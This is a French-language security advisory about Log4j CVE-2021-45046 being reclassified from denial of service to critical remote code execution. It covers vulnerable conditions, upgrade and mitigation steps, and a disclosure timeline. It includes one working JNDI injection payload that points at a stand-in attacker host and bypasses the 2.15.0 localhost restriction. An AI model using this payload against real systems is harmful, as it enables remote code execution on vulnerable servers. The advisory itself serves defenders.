La vulnérabilité Log4j 2.15 CVE-2021-45046 passe au niveau critique : exécution de code arbitraire

Note de la rédaction (28 décembre 2021 à 19 h 35 GMT) : L’équipe Log4j a publié une nouvelle mise à jour de sécurité, qui révèle que la version 2.17.0 est vulnérable à l’exécution de code à distance, identifiée par CVE-2021-44832. Nous vous recommandons de passer à la dernière version, qui est actuellement la 2.17.1. En savoir plus ici.

Note de la rédaction (18 décembre 2021 à 18 h 55 GMT) : La situation autour de Log4j évolue rapidement et nous mettons à jour nos articles au fur et à mesure que de nouvelles informations sont disponibles. Nous vous recommandons de passer à la version 2.17.0 ou ultérieure. Cette version corrige deux vulnérabilités d’exécution de code à distance, corrigées dans 2.15.0 (CVE-2021-44228) et 2.16.0 (CVE-2021-45046), ainsi que la dernière vulnérabilité DoS corrigée dans la version 2.17.0 (CVE-2021-45105). En savoir plus ici.

Il a été découvert que Log4j version 2.15.0 reste exposé à une attaque par exécution de code arbitraire dans certaines circonstances. Passez à la version 2.16.0 ou ultérieure pour protéger vos applications contre CVE-2021-44228 et CVE-2021-45046.

La dernière vulnérabilité divulguée concernant Log4j 2 (CVE-2021-45046), initialement signalée comme une vulnérabilité de faible gravité permettant un déni de service, avec un score CVSS de 3,7, a désormais été reclassée en vulnérabilité de gravité élevée permettant l’exécution de code arbitraire, avec un score CVSS de 9,0. Cela signifie également que Log4j version 2.15.0, que l’on pensait jusqu’ici protégée contre l’exécution de code arbitraire, peut désormais être exploitée dans certaines conditions.

Un acteur malveillant peut contourner la mesure d’atténuation implémentée dans la version 2.15.0, qui limite les recherches JNDI à localhost uniquement : ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}.

Nous vous recommandons de passer à la version 2.16.0, qui désactive par défaut toutes les recherches JNDI. Si la mise à niveau n’est pas possible, vous pouvez atténuer ce problème dans les versions précédentes en supprimant la classe JndiLookup du classpath (exemple : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

Suis-je concerné par la vulnérabilité reclassée ?

Votre application est vulnérable si vous utilisez une version concernée du package Log4j (de 2.0-beta9 à 2.15.0, à l’exception de 2.12.2) et si vous remplissez au moins l’une des conditions suivantes :

1. La configuration de journalisation active explicitement les recherches — par défaut (si vous utilisez une version antérieure à 2.15.0) ou manuellement avec %m{lookups}, car formatMsgNoLookups est activé par défaut à partir de la version 2.15.0.

2. Vous utilisez une configuration Pattern Layout autre que celle par défaut, avec Context Lookup, et des attaquants peuvent contrôler les données d’entrée via Thread Context Map (MDC).

3. Utilise la fonction Logger.printf("%s", userInput), dans laquelle des attaquants peuvent contrôler la variable userInput.

REMARQUE IMPORTANTE : Vous devez auditer à la fois votre code source et vos instances d’exécution pour vérifier que vous ne remplissez aucune des conditions ci-dessus. Cette tâche n’est pas simple. En cas de doute, partez du principe que vous êtes potentiellement vulnérable.

Que devez-vous faire maintenant ?

AGISSEZ MAINTENANT ! Passez immédiatement à la version 2.16.0 ou ultérieure pour atténuer ce problème. Il s’agit actuellement de la version la plus sûre pour atténuer les deux vulnérabilités Log4j récemment divulguées (CVE-2021-44228 et CVE-2021-45046).

Consultez notre page de ressources sur Log4j pour retrouver les derniers articles, vidéos et cette fiche pratique d’une page pour remédier à Log4Shell.

Chronologie des vulnérabilités Log4j (CVE-2021-44228 et CVE-2021-45046)

• 18 juillet 2013 - Le code qui introduit les recherches JNDI et la vulnérabilité est intégré

• 24 novembre 2021 - L’équipe Alibaba Security Research signale confidentiellement le problème à Apache

• 29 novembre - Apache commence à préparer une nouvelle version (2.15.0) intégrant un correctif de sécurité

• 1er décembre - Les premières tentatives rudimentaires d’exploitation sont observées dans la nature

• 5 décembre- Tous les correctifs sont fusionnés dans la branche master

• 9 décembre- Un utilisateur de GitHub soupçonne que le correctif concerne une vulnérabilité de sécurité

• 9 décembre - Un utilisateur crée un ticket GitHub dans le dépôt google/tsunami-security-scanner-plugins, signalant la vulnérabilité d’exécution de code à distance dans Log4j

• 9 décembre- Un utilisateur, p0rz9, divulgue officieusement le problème dans un tweet.

• 9 décembre - Une preuve de concept est publiée sur Github

• 10 décembre - Le problème est divulgué « officiellement » et se voit attribuer un CVE (pas encore publié par MITRE). La version corrigée 2.15.0 est publiée.

• 10 décembre - La fiche CVE est mise à jour par MITRE et le numéro est attribué (CVE-2021-44228)

• 10 décembre - La gravité critique est ajoutée à Snyk SCA (CVE-2021-44228)

• 13 décembre - Avis de vulnérabilité de gravité moyenne concernant la version 1.x (CVE-2021-4104)

• 14 décembre - Découverte d’une vulnérabilité DoS de gravité moyenne dans la version 2.15 (CVE-2021-45046)

• 17 décembre - CVE-2021-45046 passe au niveau de gravité critique et est reclassée comme vulnérabilité d’exécution de code arbitraire